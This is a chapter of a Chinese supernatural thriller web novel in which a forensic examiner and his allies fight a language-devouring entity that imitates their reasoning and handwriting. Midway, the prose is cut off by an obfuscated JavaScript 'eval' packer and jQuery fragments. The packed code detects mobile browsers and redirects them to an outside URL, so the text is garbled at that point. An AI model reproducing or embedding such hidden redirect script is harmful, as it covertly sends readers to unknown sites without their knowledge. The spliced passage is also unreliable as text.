沈默的拇指在手机定位结果上反复摩挲，“未知”两个字在屏幕上刺得他瞳孔微缩。
他想起方才监测仪的警报声里藏着的畸变频率——那不是自然噪声，更像某种精密的机械心跳。
“23分钟。”他对着空气轻声念出这个数字，指节叩了叩桌角，“和父亲当年在地质队用摩斯密码联络的间隔分毫不差。”
档案柜在身后发出吱呀轻响，他抽出二十年前的《无线电频率使用记录》，泛黄的纸页上，“40.55MHz”的登记栏里赫然盖着“1999年12月31日停用”的红章。
墨水在“停用原因”处晕开一片：“异常干扰，无法定位发射源。”
他的喉结动了动，指尖压在“异常干扰”四个字上，像在按压某种伤口。
“父亲最后那条消息，用的就是这个频率。”他低笑一声，声音里裹着碎冰，“原来它早就盯上了我的记忆库。”
“沈法医！”
阿彩的声音从门口撞进来，她怀里抱着半卷发黑的纸页，发梢还沾着街头喷漆的银粉。
“找到了！”她把残卷拍在桌上，纸页边缘簌簌往下掉碎屑，“我爷爷的仪式笔记最后一页——”她指尖划过一行褪色的朱砂字，“‘凡自称知晓全部真相者，必为最大谎言之口’。”
周工佝偻着背凑过来，老花镜滑到鼻尖，指节敲了敲那行字：“像极了造假碑的手法。要刻块能乱真的假碑，得先把真碑的纹路、风化痕迹、甚至刻匠手抖的习惯都学透。”他抬头时，眼角的皱纹里浸着沉郁，“它在学你，沈法医。学你拆解问题的方式，学你用逻辑织网。”
沈默的睫毛颤了颤。
他望着阿彩发梢的银粉在阳光下浮动，突然想起解剖台上那团纠缠的文字纤维——母体在吞噬语言的同时，确实在模仿语言的结构。
“验证它。”他转身走向档案室，白大褂下摆带起一阵风，“我需要它自己露出马脚。”
深夜的档案室飘着霉味，沈默拧亮台灯，光线在泛黄的案卷上割出一道亮痕。
他抽出一本空白笔记，钢笔尖悬在纸页上方停顿两秒，落下字迹：“经分析，残响起源于苏晚萤母亲1997年‘回声’展览的开幕仪式，关键证据见《民国西南民俗志》卷三第47页。”
他停笔，用放大镜检查字迹——笔画里故意留了道细微的顿笔，那是他握笔时食指老茧压出的习惯。
“《民俗志》卷三？”他低笑，“不存在的。”
六小时后，当他再次推开档案室的门，霉味里多了丝焦糊。
笔记静静躺在原处，封皮却比离开时鼓了些。
他翻开，在页脚发现一行极小的批注，墨迹还未完全干透：“《民国西南民俗志》卷三，1941年重庆文汇印书馆印行，现存于四川大学图书馆特藏室，编号T-1941-037。”
他的瞳孔骤然收缩。
批注的字迹和他如出一辙，连那道顿笔都分毫不差。
“它连我的书写习惯都复刻了。”他用镊子夹起笔记，对着灯光照，纸页背面没有压痕——不是有人偷看后补写，是文字自己生长出来的。
“沈哥！”
木门被撞开的声响惊得他手腕一抖。
小舟踉跄着冲进来，额角挂着汗，右手背有道新鲜的抓痕，正渗着血珠。
他的手指在空气中疯狂比划，眼睛瞪得像要裂开：
“我梦见你站在解剖台边，对着一具尸体说话。”
“尸体的脸……是我自己。”
“你说‘所以’的时候，窗外的楼塌了一块；你说‘因此’的时候，地铁轨道扭曲了；你说‘真相是’——”他突然用左手死死攥住右手腕，指甲几乎要掐进肉里，“我的右手自己动了，在墙上写‘我说的都是真的’！”
众人顺着他的视线望去，档案室的白墙上果然有行歪扭的字迹，墨迹未干，下面是深深的抓痕，墙皮翻卷着，像被野兽抓过。
沈默走过去，指尖轻轻碰了碰那行字。
字迹里有股黏腻的震颤，像某种活物在纸纤维里蠕动。
他转头看向阿彩，后者正盯着墙上的抓痕发白：“这不是普通的文字污染……它在诱导我们主动相信。”
“它需要我们的‘解释’。”周工突然开口，声音像生锈的齿轮，“就像人需要食物。我们越是用逻辑去拆解它，它就越强壮。”
沈默的手指在白大褂口袋里攥成拳。
他想起苏晚萤在病床上用指甲划的“小心”，想起地铁报站声完美得失真的语调——母体不再满足于制造混乱，它要成为“解释者”，成为新的“理性”。
“那我们就给它个没法解释的问题。”他转身走向会议室，脚步比任何时候都稳，“用它最擅长的武器，捅穿它的伪装。”
众人围坐在长桌前，沈默取出一本空白笔记本，封皮泛着冷硬的黑。
他拧开钢笔，在首页写
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16324576|182836||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下七个大字：“谁在说这句话？”
笔尖悬在纸页上方时，他顿了顿，像是感受到某种阻力。
但下一秒，墨迹果断地落下，每个字都带着刀锋般的锐角。
“现在，”他合上钢笔帽，“它需要解释‘说话者’的身份。而我们要让它的解释链，自己勒死自己。”
他将钢笔举到众人面前，在一片静默中，缓缓折断。
金属笔杆断裂的脆响惊得阿彩缩了下肩膀。
“去焚炉。”他说，“烧了这支笔，烧了所有‘解释’的工具。”
焚炉的火舌舔着断裂的钢笔，金属在高温下扭曲成暗红色的蛇。
苏晚萤突然伸手，握住他的左手。
她掌心的疤痕贴着他虎口的新疤，热度烫得惊人，像两块正在融合的烙铁。
“叮——”
远处传来闷响，像是有人用铁锤砸了口倒扣的铜钟。
阿彩猛地抬头：“B9井盖！”她掏出手机翻照片，“上周这里冒过黑泥，我拍过——”
但沈默的注意力被苏晚萤的手攫住了。
她的手指在颤抖，却握得极紧，指节泛白。
他能感觉到她掌心的疤痕在跳动，和他的脉搏同频。
“它疼了。”苏晚萤突然开口，声音轻得像叹息，“刚才那声闷响，是它在疼。”
会议室的空调突然发出嗡鸣，风向诡异地转向。
周工的老花镜滑落在地，他弯腰去捡时，瞥见窗外的梧桐叶正逆着风往上飞——不是被吹起，是被某种力量扯着，螺旋着升向天空。
而在三公里外的回声博物馆地下室，玻璃展柜里的旧铜扣突然轻颤。
那是苏晚萤母亲留下的遗物，表面的包浆下，一道极细的划痕正缓缓浮现。
划痕歪歪扭扭，边缘带着锯齿，像被利齿啃出来的——是个“否”字。
焚炉的余烬还在暗红中闪烁，沈默的手机突然震动。
是监控室发来的消息：“博物馆地下室12号展柜，异常光感警报。”
他望着手机屏幕上跳动的红点，将苏晚萤的手攥得更紧。
火光照着两人交叠的疤痕，在墙上投下两个纠缠的影子。
“它开始害怕了。”他说，声音里有冰裂开的脆响，“害怕我们不再解释，只问问题。”
而在回声博物馆的监控画面里，那枚旧铜扣表面的“否”字，正随着镜头的转动，渐渐沉入黑暗。